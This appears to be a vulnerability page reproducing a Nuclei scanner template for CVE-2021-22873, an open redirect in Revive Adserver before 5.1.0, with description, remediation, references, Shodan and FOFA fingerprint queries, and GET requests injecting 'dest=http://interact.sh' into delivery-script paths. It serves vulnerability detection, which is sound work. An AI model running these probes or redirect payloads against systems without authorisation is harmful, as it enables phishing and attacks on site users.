CVE-2021-22873: Revive Adserver <5.1.0 - Open Redirect

2025-08-01 Revive Adserver PoC Public

Description

Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2021-22873

info:
  name: Revive Adserver <5.1.0 - Open Redirect
  author: pudsec
  severity: medium
  description: Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
  remediation: |
    Upgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability.
  reference:
    - https://hackerone.com/reports/1081406
    - https://github.com/revive-adserver/revive-adserver/issues/1068
    - http://seclists.org/fulldisclosure/2021/Jan/60
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22873
    - http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22873
    cwe-id: CWE-601
    epss-score: 0.69561
    epss-percentile: 0.99328
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: revive-adserver
    product: revive_adserver
    shodan-query:
      - http.favicon.hash:106844876
      - http.title:"revive adserver"
    fofa-query:
      - icon_hash=106844876
      - title="revive adserver"
    google-query: intitle:"revive adserver"
  tags: cve2021,cve,hackerone,seclists,packetstorm,redirect,revive,revive-adserver,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a0047304502205722f1864a17ecea7d893504b2a47d462943ba753515fb6fa1bfad13a5237769022100decc2ff386c530bbe290ad285fd24170287b512834c94a5aa666492185934976:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22873.yaml

References

Related Vulnerabilities